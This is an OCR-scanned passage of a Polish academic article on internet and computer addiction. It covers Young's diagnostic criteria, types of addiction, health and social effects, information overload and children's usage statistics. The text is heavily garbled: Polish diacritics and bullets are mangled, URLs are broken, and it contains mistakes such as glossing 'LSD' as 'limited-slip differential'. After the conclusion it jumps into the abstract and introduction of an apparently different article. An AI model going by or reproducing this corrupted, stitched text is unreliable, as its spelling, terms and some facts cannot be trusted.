US, Katowice, 2004; A. Jakubik, Zespot uzaleznienia od Internetu (ZUI), ,,Studia Psycholo-
gica” nr 3, 2002.
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niczenia na rzecz Internetu czasu przeznaczonego na sen, odzywianie, nauke,
prace zawodowa, obowiazki rodzinne, kontakty towarzyskie itd. (faza destruk-
cji). Niebagatelne znaczenie ma tez w tej fazie istotne pogarszanie si¢ stanu
zdrowia.
Kimberly Young jako pierwsza w oparciu o kryteria patologicznego hazardu
wyrdznila osiem objawOw uzaleznienia od Internetu, z ktorych przynajmniej
pig¢ musi by¢ stwierdzonych i wystapi¢ w ciggu ostatniego roku, aby moc zdia-
gnozowac to zaburzenie. Te objawy to:
¢ silne pochlonigcie Internetem, wyrazajgce si¢ w obsesyjnym mysleniu o nim
nawet wtedy, gdy sie z niego nie korzysta;

o sukcesywnie zwigkszajacy si¢ czas przebywania w Internecie, aby osiggnaé
satysfakcje z tej aktywnosci,

e powtarzajace sie nieudane proby kontrolowania czasu spedzanego w Internecie;

e odczuwanie przygnebienia, niepokoju i podenerwowania z powodu ograni-
czenia lub zrezygnowania z korzystania z Internetu;

e problem z kontrolowaniem czasu przebywania w Internecie;

e Wystepowanie probleméw spolecznych i1 osobistych (zwigzanych z rodzina,
przyjaciolmi, praca lub/i szkota), wynikajacych z zaabsorbowania Internetem;

o oklamywanie ludzi z najblizszego otoczenia w celu ukrycia wzrastajacego
zaangazowania w sprawy Internetu;

e aktywnos$¢ internetowa przybiera forme ucieczki od problemow oraz przy-
krych stanéw emocjonalnych®™.

3. Rodzaje uzaleznien od Internetu

Wedlug Kimberly Young wyrézni¢ mozna nastgpujace rodzaje uzaleznien
od Internetu:

e Socjomania internetowa — jest to uzaleznienie od internetowych kon-
taktow spolecznych (cyber-realtionship addiction). Osoba nawigzuje nowe
kontakty tylko i wylacznie poprzez sie¢, ma zachwiane relacje czlowiek — czlo-
wiek w kontaktach poza siecig. Ludzie tacy potrafia godzinami ,,rozmawiac”
z innymi uzytkownikami Internetu, lecz maja trudnosci przy kontaktach osobi-
stych (fobia spoleczna), nie potrafia odczytywa¢ informacji nadawanych na
ptaszczyznie komunikacji niewerbalnej lub odczytuja je blednie. Uzaleznienie
od sieci (net compulsions) — socjomania, polega na pobycie w Internecie i jest
uzaleznieniem od internetowych kontaktow spotecznych. Cztowiek nawiazuje

18 M. Sokotowski (red.), Oblicza Internetu. Internet w przestrzeni komunikacyjnej XXI wieku.
Wyd. PWSZ, Elblag 2006.
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badz tez kontynuuje relacje towarzyskie poprzez sie¢, gdy tymczasem znajomo-
sci twarza w twarz ulegajg degradacji poprzez zanik wiezi emocjonalnych
z najblizszymi, rodzing, sasiadami. Uzaleznieni nieustannie kontaktuja si¢
z innymi uzytkownikami poprzez czat, portale spotecznosciowe, komunikatory
internetowe, maile. Jest ono bardzo podobne do uzaleznienia od komputera, lecz
polega na byciu w sieci. W Polsce jest glownie spotykane u 0so6b posiadajacych
komputer ze statym tgczem. Osoby takie sg caly czas zalogowane do sieCi i Ob-
serwujg, co si¢ tam dzieje. Uzaleznienie to taczy w sobie wszystkie inne formy
Zespotu Uzaleznien Internetowych.

¢ Internet Reality Chat (Internet Relay Chat — IRC) — jest to ustuga stuza-
ca do porozumiewania si¢ z innymi osobami korzystajacymi z Internetu; to for-
ma pisanej rozmowy. Dzicki tej ustudze mozna poznaé¢ wiele osob i zdoby¢ no-
wa wiedze. Zanotowano juz w Polsce pierwsze matzenstwa, ktore zapoznaly si¢
W ten sposéb i po spotkaniu w ,,realu” (miejsce realne — nie Internet) zwigzaty
si¢ ze sobg. Inng istotng zaleta tych form komunikacji jest mozliwo$¢ porozu-
miewania si¢ z ludzmi z calego §wiata bez ponoszenia gigantycznych kosztow,
ktore wigzatyby si¢ z rozmowami telefonicznymi. Wedtug niektorych szacun-
kéw z IRC-a korzysta w jednym czasie okoto 10 000 uzytkownikéw na calym
$wiecie.

e Grupy dyskusyjne (newsgroups) i listy adresowe — jest to ta cze¢$¢ sieci,
ktoéra zostata z poczatkowych lat wprowadzania Internetu (USNET). Dzigki nim
dostajemy sporo e-maili z grupy lub listy, do ktorej sie zapisali$my. Samo prze-
czytanie takiej ilosci korespondencji jest juz nie lada klopotliwe, gdyz czesto
dzienna liczba odpowiedzi przekracza kilkadziesiat, a nawet kilkaset. Czesto
mozna dowiedzie¢ si¢ z nich wielu ciekawych rzeczy, lecz z reguty sg to jakies$
ogoblne informacje, ktore tylko zabieraja nam czas.

e World Wide Web (WWW) — zasoby Web sa nieprzebrane, istniejg mi-
liony stron poswieconych przerdznej tematyce. Chcac si¢ czego$ dowiedzied
0 danej dziedzinie zycia, wystarczy przeszuka¢ zasoby pajeczyny. Nawet, jesli
szukamy takich informacji jak przepis na trucizng, jak uprawia¢ marihuane lub
skonstruowa¢ bombg atomowa, to zawsze znajdziemy. Na stronach interneto-
wych jest wszystko. Wsérod internautow krgzy nawet powiedzenie, ,,Jesli czego$
nie ma w Internecie, to to nie istnieje”. Ze stron WWW mozna dowiedzie¢ si¢
praktycznie wszystkiego nawet, jesli kto$ nigdy nie byl w danym miejscu. Roz-
wija si¢ moda na tzw. wycieczki wirtualne.

o Uzaleznienie od gier (zaczyna si¢ juz w dziecinstwie); czg¢sto wystepuje
wowczas, gdy zapracowani rodzice sg wrecz zadowoleni, ze dziecko ma jakas$
rozrywke i nie popada w ,,zte” towarzystwo. Przeciwnikiem moze by¢ komputer
lub inni gracze (popularna opcja multiplayer). Najczesciej uzalezniaja si¢
od nich dzieci i mtodzi me¢zczyzni. Zazwyczaj fabuty tych gier epatuja przemo-
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cg 1 wyzwalajg ogromne poklady agresji. Jednak dziecko izoluje si¢ od rowie-
$nikow, traci kontakt z rzeczywisto$cia i zamyka si¢ w swoim pokoju z kompu-
terem, czego rodzice nie dostrzegaja i nie traktujg jako narastajacego problemu.

Gry moga wystepowac jako niezalezne programy odtwarzane na dedykowanych
im konsolach, badz jako gry online zamieszczane na portalach internetowych

Gry online — powstato juz setki serwisow poswigconych réznym grom
komputerowym. Problem gier online (w sieci) polega na tym, iz naszym prze-
ciwnikiem nie jest komputer, lecz zywy cztowiek, ktory gdzies na §wiecie siedzi
przed monitorem swojego komputera, tak jak i my. Wedtug niektorych badaczy
tego zjawiska poprzez tego typu gry narasta w graczach poziom agresji, ktory
nastepnie jest roztadowywany w §wiecie realnym, na zwyktych ludziach, ale sg tez
teorie przeciwne, twierdzace, ze tego typu gry moga by¢ okazja do roztadowania
napigcia. Grajac z ,,ludzkim” przeciwnikiem to nie my (poprzez wybodr stopnia
trudnosci) okreslamy, jak dobry bedzie nasz konkurent czgsto robi to za nas przy-
padek. Pozwala to na sprawdzenie si¢, jak my sami wypadamy w poroéwnaniu
z kim$ innym. W zyciu realnym odpowiada temu zachowaniu wszelka forma kon-
kurencji czy to w sporcie, czy w pracy. Synchroniczne gry interaktywne sa $rodo-
wiskiem, w ktorym internauci spedzaja duzo czasu bedac w sieci. Srodowisko gier
internetowych przyjmuje wiele form, od synchronicznych pogaduszek, po MUD-y
oraz meta§wiaty. Tematyka tych gier takze jest bardzo zr6znicowana, r6znig si¢
miedzy soba stopniem skomplikowania akcji, a przede wszystkim trescia (gry
symulacyjne, strategiczne, przygodowe, akcji oraz role-playing — ,,rezyserskie™).

T. Zyss i J. Boron z Collegium Medicum, ktorzy zajmowali si¢ analizg me-
chanizmu uzaleznienia od gier zadali sobie pytanie: Jakie gratyfikacje uzyskuje
osoba, grajaca w gry interaktywne, ktore rekompensuja jej zmeczenie fizyczne
i motywuja do ciaglego podejmowania gry?*.

o Otoz z przeprowadzonej analizy wynika, ze komputer traktowany jest przez
grajacego jako niezwykle atrakcyjny partner. O jego atrakcyjnosci decyduja
nastepujace cechy:

e jest zawsze gotowy do podjgcia zabawy (nie meczy si¢ i nie odmawia);

o daje mozliwos$¢ wielokrotnego powracania do tych samych, ulubionych sce-
nariuszy, daje mozliwo$¢ odoskonalenia wynikow i ponownego przezywania
przyjemnosci;

e zapewnia najmniej ranigcy sposob uczenia si¢ (ocenia btedy, ale nie okazuje
ztosci, rozczarowania; jest sprawiedliwy);

e daje pozorne poczucie wiedzy i omnipotencji (mam wplyw na to, co si¢ wy-
darzy);

19 3. Boron-Zyss wskazuje, ze istnieje wiele wspdlnych cech migdzy graniem w gry a hazardem.
Por. T. Borowska, wspotautorka Pedagogia ograniczen ludzkiej egzystencji, IBE, Warszawa 1998.
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e interpretacja wygranej i przegranej moze by¢ zawsze pozytywna (nie wstyd
przegra¢ z madrym komputerem, a jesli sie¢ wygra, tym wiekszy sukces);

e umozliwia aktywne roztadowywanie emocji (przezywanie bezpiecznego,
kontrolowanego ryzyka);

e umozliwia zaspokajanie réznorodnych potrzeb i popedow niemozliwych do
zrealizowania w rzeczywistosci (np. potrzeby osiagni¢é, wigzi czy potrzeby
seksualnej).

Swiat gier komputerowych moze byé szczegélnie ponetny dla 0séb miodych,
czgsto zagubionych, majacych trudnosci w nawigzywaniu kontaktow interpersonal-
nych, osob, ktére potrzebuja dowartosciowania. Dzigki technice gier interaktywnych
latwo wkracza si¢ w bezpieczny §wiat fantazji, w ktérym jest sie takim, jakim si¢
samemu wykreuje. W literaturze popularnonaukowej poréwnuje si¢ $wiat gier kom-
puterowych do ,.elektronicznego LSD (ang. limited-slip differential ).

e Uzaleznienie od komputera (ang. computer addiction) — osoba chora nie
musi w tym wypadku ,,by¢” w sieci, wystarczy, iz spedza czas przy komputerze.
Nie jest dla niej wazne to, co robi, czy pisze wazng pracg, Czy gra w pasjansa.
Liczy sig¢ tylko to, ze komputer jest wlaczony, a ona spedza przy nim czas.

o Erotomania internetowa (ang. cybersexual addiction) — polega gléwnie
na nalogowym ogladaniu filméw i zdje¢ z materiatami pornograficznymi lub
pogawedkach na czatach o tematyce seksualnej przy jednoczesnym pogorszeniu
jakosci zycia seksualnego w realnym swiecie.

Zjawisko to zaczyna by¢ bardzo grozne, gdy na materiaty o tresci pornogra-
ficznej trafiajg osoby matoletnie lub z zaburzeniami w sferze emocjonalnej. In-
nym czynnikiem tego zaburzenia sg wszelkie dewiacje seksualne, takie jak pedofi-
lia, skrajny ekshibicjonizm i inne. Tego typu stron sg tysigce, nawet reakcja orga-
now porzadkowych, takich jak Policja, nie przynosi skutku, gdyz wiele z tych
witryn jest zarejestrowanych np. w Tajlandii, a obstugujacy je serwer jest umiesz-
czony jeszcze w innym zakatku $wiata, ktory ma rownie liberalne prawo®,

e Zakupy przez Internet — natogowe kupowanie rzeczy niepotrzebnych,
wydawanie ogromnej ilo$ci pieni¢dzy tylko dlatego, zeby nie przegapi¢ promo-
cji czy kolejnej ,,niepowtarzalnej okazji”, nalogowe i state przegladanie aukcji
i serwisoOw ogloszeniowych.

o Aukcje internetowe — jest to najnowsze zjawisko wystepujace w Interne-
cie. Do najwigkszych polskich aukcji internetowych zalicza si¢ Allegro
(www.allegro.pl). Osoby zagladajace na te strong¢ czujg podniecenie zwigzane
z gra, z tym, ze licytuja jaki$ przedmiot, czy wlasnie zdobywaja cenny okaz do
swojej kolekgcji.

2 R. Poprawa, W pulapce Internetu. ..
21, Gajda, Uzaleznienie od Internetu w $wietle dotychczasowych badan, http://ww.psy-
chologia.net.pl/artykul.php?level=561
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4. Skutki uzaleznienia od Internetu

Najogolniej — zgodnie z proponowanym integralnym modelem cztowieka —
skutki uzaleznienia mozna podzieli¢ na trzy grupy:
o skutki fizjologiczne i fizyczne;
o skutki psychologiczne, w tym skutki osobowe wywotane zmianami w re-
lacjach interpersonalnych;
o skutki w zyciu duchowym 0sdb uzaleznionych.

4.1. Skutki fizjologiczne uzaleznienia od komputera i Internetu

Cielesnos¢ cztowieka uzaleznionego od technologii informacyjnych wynika
z charakteru dominujacych form aktywno$ci 0sob korzystajacych z tych techno-
logii. Konieczna pozycja siedzaca, przy biurku, $ledzenie monitora i obstuga
sprzgtu informatycznego prowadzi do zaburzen w tych wtasnie zakresach. Oso-
by czgsto korzystajace z komputera skarzg si¢ na problemy ze wzrokiem, krego-
stupem i narzekaja na tzw. ciasny nadgarstek.

Najczesciej w tym przypadku wystepuja:

e zaburzenia kontroli popedow;

e pogorszenie wzroku;

e bole plecow i kregostupa;

e podatnos¢ na infekcje;

e podraznienia skory (spowodowane bombardowaniem czasteczkami kurzu
dodatnio zjonizowanych przez kineskop monitora);

e bezsenno$¢;

« nadpobudliwo$¢®.

Zajecie dojrzatej postawy wobec ciala jest jednym z podstawowych zadan
wychowawczych, gdyz sposob odnoszenia si¢ do cielesnosci okre§la w duzym
stopniu sytuacje zyciowag danego czlowicka, jakos¢ jego wigzi miedzyosobo-
wych, jego zdolno$¢ lub nie do mitosci 1 odpowiedzialnosci, a takze granice jego
wewngtrznej wolnosci. Tak, jak istniejg btedy w postugiwaniu si¢ mysleniem,
emocjami, wrazliwo$cig moralna, sferg duchowa, religijng czy spoleczna, tak tez
istnieja btedy w sposobie kierowania wiasnym cialem™.

4.2. Skutki psychologiczne i spoleczne uzaleznienia od komputera i Internetu

Do skutkow psychologicznych uzaleznienia od Internetu nalezy zaliczy¢ za-
chwianie komunikacji w sferze pozawerbalnej i werbalnej, depresje powodowa-

22 A Augustynek, Psychologiczne aspekty korzystania...
2 M. Dziewiecki, Pedagogika ciala, http:/Avww.opoka.org.pl/biblioteka/l/ID/pedagogika _cia-
la.html#m?7
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ne brakiem kontaktu z siecig, zanik wigzi emocjonalnych z osobami najblizszy-
mi, rodzing, przyjaciotmi. Skutki, jakie wywoluje uzaleznienie od technologii
informacyjnych i technologii internetowych, sa bardzo powazne. Do najwazniej-
szych nalezy zaliczy¢:

zaburzenia koncentracji uwagi i sprawnosci myslenia,;

zaniedbanie Zycia rodzinnego, zanik wiezi rodzinnych i mozliwos$ci oddzia-
tywan wychowawczych ze strony rodzicéw;

utrata zainteresowania wszelkimi formami aktywnos$ci spotecznej;

zaburzenia relacji interpersonalnych (np. rezygnacja z bezposredniego kon-
taktu), utrate przyjaciot — caty przekaz emocjonalny skupia si¢ na znajomych
i przyjaciotach z sieci;

zachwianie komunikacji w sferze pozawerbalnej i werbalnej;

fobig¢ spoteczna, ktora wyraza si¢ unikaniem kontaktow osobistych z innymi
ludZzmi; w skrajnych przypadkach dochodzi do catkowitego wyalienowania,
niemozliwos$ci kontaktowania si¢ z otoczeniem;

depresje powodowane brakiem kontaktu z siecig, zaburzenia w sferze uczué
i emocji;

utrate dotychczasowych zainteresowan;

zaburzenia w normalnym funkcjonowaniu jednostki — z osoba uzalezniong
mozna porozmawiaé tylko o tym, co si¢ dzieje w sieci, np. jaka nowa strona
WWW powstala, inne sfery zycia jej nie interesuja;

ostabienie sity woli i osobowosci;

rozregulowanie, a wregcz przestawienie cyklu okotodobowego, gltéwnie zas
rytmu sen — aktywnosc;

zaniedbywanie nauki lub pracy;

zapominanie o positkach;

utrwalenie postaw egocentrycznych;

zaburzenia w zakresie wiasnej tozsamosci;

zawgzenie zainteresowan i mozliwosci intelektualnych;

zmiana jezyka (zubozenie, techniczny slang, uzywanie skrotow);
zmniejszenie potrzeb seksualnych;

niekontrolowanie czasu spedzanego w Sieci;

rezygnacja z innych rozrywek i przyjemnosci;

brak troski o wlasne zdrowie (zarwane noce, nieregularne positki) i higiene
osobista;

ktopoty finansowe (przy korzystaniu z kosztownej sieci w domu);

utrata pracy (przy wykorzystywaniu dla swoich potrzeb sieci w firmie)®.

2 G. Kiedrowicz, Zagrozenia dla edukacji wspomaganej technologiq informacyjng,

http://gazeta it.pl/pl/edukacja/5065
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Gloéwna aktywno$¢ takiego internauty ma miejsce w godzinach nocnych.
Osoby takie przez zmiang cyklu okotodobowego zaniedbujg pracg i zycie ro-
dzinne. Gwaltowna zmiana zachowan zwigzanych z cyklem dobowym moze
prowadzi¢ do rozdraznienia, podenerwowania i spadku sprawnos$ci psychiczne;.
Jest to o tyle grozne, Zze zmianie nie ulega tylko i wylgcznie czas snu i aktywno-
$ci, lecz rowniez nastgpujg wahania stgzenia we krwi hormonow, glukozy, oraz
innych substancji waznych dla prawidtowego funkcjonowania organizmu.
W przypadku mtodych ludzi szczegélnie grozne jest:

e ograniczenie, a nawet rezygnacja z ruchu i aktywnego wypoczynku na $wie-
Zym powietrzu;
zaniedbywanie obowigzkow szkolnych i domowych;
ksztattowanie si¢ nowych, w tym szkodliwych zachowan, postaw w zwiazku
z narazeniem na szkodliwe bodzce psychiczne (przemoc fizyczna, stlowna,
erotyka) zamieszczone na wielu stronach www;
niezdanie do kolejnej klasy (dzieci i mtodziez) badz utrata pracy (dorosli);

e klopoty w sferze zawodowej — wlacznie z utrata i niemozn0$cia znalezienia
innej pracy.

5. Uzaleznienie od Internetu a przeciazenie i zmeczenie informacyjne

Wspotczesnos¢ przesycona jest informacyjnie. Kazdego cztowieka stawia to
w sytuacji przymusu poszukiwania i pobierania informacji (information overlo-
ad). Dostep do informacji, jako prawo kazdego obywatela prowokuje pytania
0 wolnos¢ osobowa, odpowiedzialno$¢ i kompetencje korzystania z tych warto-
$ci w sytuacjach trudnych, nowych i niepewnych.

Information fatigue, czyli zmeczenie informacyjne to pojecie siggajace 1685
roku, kiedy francuski naukowiec Adrien Baillet powiedziat: ,,Mamy powdd,
zeby obawiac sie, ze liczba ksigzek, ktora ro$nie kazdego dnia, spowoduje, ze na
nastgpne stulecia zapadniemy w stan barbarzynstwa, jak ten ktdry nastapit po
upadku Imperium Rzymskiego™?.

Nowoczesne urzadzenia IT czgsto utrudniaja koncentracje i sg raczej forma
rozrywki niz narz¢dziami wspomagajacymi nauke¢. Cyfrowy $wiat determinuje
wszystko. Obecnie mtodzi ludzie to tzw. digital natives, czyli cyfrowe dzieci
nieznajace zycia bez komputera i Internetu.

Uzaleznienia/natogi informacyjne®® prowadza do informacyjnego zmecze-
nia psychicznego. Uzaleznienia informacyjne, z ktorych najcze$ciej wymienia-

% http://tech.wp.pl/kat, 1009793 title, Zagrozenia-ery-cyfryzacji-czy-nadmiar-informacji-i-fak-
tow-moze-byc-grozny,wid,14816230,wiadomosc.html?ticaid=11049a

%W, Babik, O niektérych chorobach powodowanych przez informacje, bg.uwb.edu.pl/dow-
nload/ei_bialystok.ppt
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ne sg uzaleznienia od Internetu, ujawniajg si¢ jako: wewngtrzny przymus bycia
w sieci; ucieczka od §wiata realnego do sztucznego $wiata wirtualnego; dostep do
patologicznych grup kulturowych; alienacja (np. alienuje cztowieka telepraca).

Obok bowiem stalego jej rozrostu, trudnego do uchwycenia przez pojedyn-
czego cztowieka, pojawiajg si¢ rozmaite jego wady, bedace zrodlem zagrozen
tzw. chorobami informacyjnymi.

6. Choroby informacyjne

Powstajg wigc nie tylko nowe media i nowe nosniki informacji, lecz takze
nowe zagrozenia i niebezpieczenstwa z tym zwigzane. Na przyktad w USA
jedna trzecia amerykanskich menedzerow cierpi na tzw. syndrom zmeczenia
informacyjnego, 49% z nich juz w 1996 roku potwierdzito, Ze nie jest w stanie
przetworzy¢ i wykorzysta¢ docierajacych do nich informacji (w roku 1997 liczba
ta wzrosta do 65%), a 43% uwaza, ze nadmiar informacji w istocie powoduje
pogorszenie trafnosci, a takze op6znienie podejmowanych przez nich decyzji.

Fakt ten nie moze nikogo dziwi¢, skoro wigcej informacji wyprodukowa-
liSmy w ciagu ostatnich 30 lat, niz przez poprzednie 5 tysigcy lat, a do decy-
dentow, czyli tzw. elit wtadzy, dociera zaledwie 28% informacji z interesuja-
cej ich dziedziny czy specjalno$ci, a w tym tylko 25% informacji ,,strategicz-
nej”, niezbednej dla podjecia prawidtowych decyzji.

Choroby informacyjne* mozna pogrupowaé nastepujaco:
a) ze strony nadawcy informacji:
¢ brak poczucia odpowiedzialnosci za nadawany komunikat;
e brak troski o prawdziwo$¢ komunikatu;
¢ nieprzekazywanie komunikatu w catosci wraz ze wszystkimi towarzy-
szacymi im informacjami, ktore moga by¢ potrzebne odbiorcy do pet-
nego i poprawnego odbioru komunikatu;
o urojenia informacyjne: generowanie informacji w oparciu o wtasne do-
mysty niepoparte faktami (na przyktad plotki)®;
b) ze strony poszukujacego informacji:
o frustracja informacyjna;
e samotno$¢ informacyjna;
o stres informacyjny;
¢ przecigzenie informacyjne;

27 \W. Furmanek, Antropoinfosfera wspéiczesnego czlowieka..., s. 49-74.
28 \W. Babik, O niektorych chorobach...
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c) ze strony odbiorcy informacji:

e bezkrytyczny odbidr i przekazywanie informacji, czgsto bez jej zrozu-
mienia i internalizaciji;

¢ tendencyjny (zyczeniowy) odbidr informacji;

o selektywny odbior tylko tych informacji, ktorych spodziewa sie odbior-
ca, czyli intencjonalne nastawienie na odbior informacji;

¢ ignorowanie tych informacji, ktore sa w konflikcie z doswiadczeniami
odbiorcy;

o kompletny brak zaufania do nadawcy komunikatu;

e niewlasciwe rozumienie komunikatow;

e przecigzenie informacyjne®.

7. Stres informacyjny

Poglebia si¢ on w zwiazku ze stalym rozrostem infosfery cztowieka i jej
niekonwencjonalnymi wtasciwos$ciami. W istocie insfosfera obejmuje nie tylko
cate systemy informacji, ale takze jej znieksztalcenia nazywane smogiem in-
formacyjnym oraz szumem informacyjnym.

Nadmiar informacji moze powodowac¢ u ludzi niech¢é do interesowania si¢
nimi. Ujawnia si¢ to w trudno$ciach z koncentracja uwagi na tych informacjach.
Zjawisko tzw. infostresu to specyficzny stan psychiczny u cztowieka wywotany
permanentng niemozno$cig przetworzenia wszystkich docierajacych do niego
informacji. Dekoncentracja powoduje zwigkszong sktonno$¢ do pomijania in-
formacji istotnych dla podejmowanych decyzji, trudnos$ci w znajdowaniu powo-
dow do zainteresowania informacja przez inne osoby, brakiem czasu na refleksje¢
nad catym bagazem informacji.

Zjawisko tzw. infostresu to specyficzny stan psychiczny u cztowieka wy-
wotany permanentng niemozno$cig przetworzenia wszystkich docierajacych do
niego informacji. Wazng przyczyng upowszechnienia si¢ zjawiska dewaluacji
informacji jest brak w pelni uzytecznych technologii filtrowania informacji.

8. Zasieg zjawisk uzaleznienia od technologii informacyjnych

Na Internet, jako globalng otwartg sie¢ rozproszona, sktadajg si¢ trzy rozne,
a rownoczesnie uzupekniajace si¢ elementy. Internet to bowiem:

o sie¢ zlozona z potaczonych ze sobg sieci;

o spotecznosé, ktora korzysta z tej sieci 1 jg rozwija;

o 7zbior zasobow, ktdre znajdujg si¢ w tej sieci” .

29 B
Tamze.
% 5. Zielinski, Czym jest Internet?, http:/www.winter.pl/internet/czym.html (1 czerwca 2007).
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Zdaniem J. Zielinskiego definicja ta wskazuje trzy $cisle powigzane ze soba
warstwy Internetu: techniczng, spoteczng i informacyjng.

Internet jest jednym z najbardziej rozwijajacych si¢ systemow na §wiecie.
Stale wzrasta liczba komputeréw podtaczonych do sieci. Wzrasta tez ilos¢ 1 ja-
ko$¢ ustug przez nig oferowanych®.

Raz jeszcze podkreslmy, ze o skali zagrozenia moga $wiadczy¢ statystyki
dotyczace korzystania przez dzieci z Internetu®:

e 89% dzieci w Polsce korzysta z Internetu;

e czas korzystania z Internetu przez dzieci wydtuza sig. Od 2006 do 2007
zwickszyt si¢ z 15 godzin 56 minut do 24 godzin 27 minut. Pod uwagg
brany byt sredni czas w trakcie jednego miesigca,

o 45% dzieci (czyli co drugie) korzysta z Internetu codziennie lub prawie
codziennie;

o 70% dzieci w wieku 7-14 lat gra on-line.

9. Wybrane wnioski z wynikow badan uzaleznienia
od technologii informacyjnych

W $wietle roznych wynikow badan — jak to wskazuja R. Poprawa® oraz J. Gaj-
da* — uzaleznienia od Internetu i technologii informacyjnych wiaza sie:

e 7z trudno$ciami w podtrzymywaniu i realizowaniu realnych kontaktow
interpersonalnych oraz poglebiajaca sie izolacja spoleczna i samotnoScig.
U wielu problematycznych internautow stwierdza si¢ wysoki poziom depre-
syjnosci (sktonnos¢ do przezywania negatywnych nastrojow i zanizania po-
czucia wilasnej warto$ci), kompulsywnosci i poczucia osamotnienia, ktore
wzrastajg wraz z latami zaangazowania w Internet;

e Z poszukiwaniem w Internecie rozwiazania swoich trudnosci interperso-
nalnych; korzystaniem z Internetu jako formy ucieczki od wymagan zycio-
wych. Stwierdza si¢ u nich silng tendencj¢ do zwlekania i dystrakcji w roz-
wigzywaniu zadan i problemoéw zyciowych oraz sktonnos$¢ do pesymistycz-
nego przezywania mysli. Czesto wiaze si¢ to z brakiem pewnosci siebie, niska
samooceng i samoakceptacja;

31 B. Siemieniecki, W. Lewandowski, Internet w szkole, Wyd. A. Marszatek, Torun 2000, s. 8.

%2 ). Barlinska, Edukacja na rzecz bezpieczenstwa dzieci i mlodziezy w sieci, http://dziec-
kowsieci. fdn. plstrona.php/? (dostep: 21.03.2011).

% R. Poprawa, W pulapce Internetu, http://www.badania.psychologia.uni.wroc.pl/?type
=artykul

). Gajda, Uzaleznienie od Internetu w swietle dotychczasowych badan, http://Mww.psy-
chologia.net.pl/artykul.php?level=561
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¢ 7 takimi cechami uzytkownikow, jak wrazliwo$¢ na spoleczne odrzucenie (Igk
przed odrzuceniem, lek spoteczny) i trudnos$ci z otwarta komunikacja inter-
personalng, niska inteligencja emocjonalna i kompetencje spoleczne oraz powia-
zane z nimi nie$miato$¢ i zewnetrzne umiejscowienie poczucia kontroli.

Badania potwierdzaja, ze najczgsciej nalogowi internauci to osoby sktonne do
spotecznego izolowania si¢, pozostawania w samotnosci, nickonwencjonalni indy-
widualisci, polegajacy gtdéwnie na sobie; sa to osoby o wysoce rozwinigtym mysle-
niu abstrakcyjnym; o wyzszym poziomie lgku spotecznego, wrazliwosci i rea-
ktywno$ci emocjonalnej; u pewnej czesci uzaleznionych uzytkownikow Internetu
mozna stwierdzi¢ pewne zaburzenia pierwotne wobec patologicznego wiktania si¢
w Internet.

Odwotujac sig do kryteriow diagnostycznych uzaleznienia od Internetu
mozna stwierdzi¢, ze problem ten znaczaco wigze si¢ z deficytami umiejetnosci
radzenia sobie ze stresem i przystosowywania si¢ do wymagan zycia spoteczne-
go, frustracjag waznych potrzeb zyciowych oraz kompensowaniem pewnych de-
ficytow osobowosciowych.

Wyniki badan w tej problematyce wskazujg, ze uzaleznienie od Internetu
silnie powigzane jest ze stresem zyciowym i brakiem poczucia koherencji,
czyli braku spojnosci miedzy potencjatem poznawczym, jakim dysponuje osoba
a wymaganiami, jakim musi sprosta¢ w konkretnej sytuacji. Deficyty zasobow
radzenia sobie wyrazajace si¢ w niskim poczuciu koherencji, wigza si¢ z inten-
sywniejszym doswiadczaniem stresu zycia codziennego i wigkszym ryzykiem
poszukiwania alternatywnych, czesto nieprzystosowawczych i niekonstruktyw-
nych strategii radzenia sobie w sytuacji. Dla os6b poszukujacych poprzez ak-
tywno$¢ internetowg emocjonalnej ulgi, zapomnienia o swoich problemach
i stabosciach oraz wzmozenia emocji pozytywnych. Wysoce ryzykuja uzalez-
nieniem od Internetu osoby uciekajace w tg aktywnos¢ od rozwigzywania, zmie-
rzania si¢ z codziennymi, realnymi problemami.

Z.akonczenie

Omowiona problematyka uzaleznienia od technologii informacyjnych nale-
zy do zagadnien teoretycznych podstaw teleologii dydaktyki informatyki. Za-
rowno w oficjalnych dokumentach edukacji (podstawach programowych, za-
twierdzanych podrgcznikach, rozporzadzeniach Ministerstwa), jak tez w teorii
I praktyce pedagogicznej powinno wzmacniaé si¢ znaczenie wychowania ku
wartosciom w walce z uzaleznieniami od technologii informacyjnych i interne-
towych. Wychowanie ku warto§ciom, w tym wychowanie w odpowiedzialnosci
moze skutecznie zabezpieczy¢ przed uzaleznieniem. Natomiast juz zaistniate
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negatywne skutki tych uzaleznien mozna zniwelowaé tylko i wytacznie poprzez
terapi¢ osoby uzaleznionej, ktora uzmystowi jej, jakie szkody poniosta w wyni-
ku chorobliwego korzystania z Internetu i jak mozna je naprawic.

Rozwijanie $wiadomosci w zakresie szkodliwosci omowionych zagrozen
powinno stawac si¢ wytyczng dla programowania rozmaitych form doksztat-
cania i doskonalenia nauczycieli wszystkich specjalnosci. Uzytecznymi dla
nauczycieli sg publikowane na portalu psychologicznym Instytutu Psycholo-
gii Zdrowia Polskiego Towarzystwa Psychologicznego opracowania. Tam
takze mozna znalez¢ m.in. autodiagnostyczny ,,Kwestionariusz uzaleznienia
od Internetu”, a takze inne testy™ przydatne w dziatalnosci pedagogicznej
nauczycieli.
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Streszczenie
W artykule zwrdcono uwage na tempo przemian cywilizacyjnych i intensywny rozwdj tech-
nologii informatycznej, ktéra nie moze pozosta¢ bez wptywu na jako$§¢ zycia pokolenia ,,cyfro-
wych tubylcéw”. Wskazano potencjal i zagrozenia jakie niosa nowoczesne technologie in-
formatyczne.

Summary

The article draws attention to the pace of civilization and the rapid development of mobile
technology which can’t remain without effect on the quality of life for a generation of "digital
natives". Indicated the potential and risks posed by modern information technology.

Wigkszos¢  technologii  ma  swietlisty
awers, ale zZycie dato im rewers — czarng
rzeczywistosc.

Stanistaw Lem

Wstep

Nowoczesne narzedzia informatyczne wkroczyty do wszystkich sfer nasze-
go zycia 1 diametralnie zmienily system funkcjonowania — standard zycia, spo-
sob wykonywanej pracy, rodzaj komunikowania si¢. Nowa cywilizacja przynio-
sta ze soba nowy styl zycia rodzinnego, a przede wszystkim — zupelnie nowsa
swiadomo$é'. W ciagu dosé krotkiego okresu ewolucji mobilne urzadzenia staty

ey Toffler, Trzecia fala, PIW, Warszawa 2001.

72



si¢ nowym masowym medium, o znacznej skali i poziomie spotecznego oddzia-
tywania, ktore rzadzi si¢ odmiennymi prawami. Sg nieodlgcznym elementem,
szczegolnie zycia mtodych osob, tzw. cyfrowych tubylcow (digital natives), dla
ktorych formy analogowe wydaja si¢ by¢ ,,przestarzale”, gtowny potencjat upa-
truja w cyfrowych technologiach.

1. Uzytkownicy nowoczesnych technologii informatycznych

Jedna z najwazniejszych cech wspodtczesnosci jest to, ze charakteryzuje sie
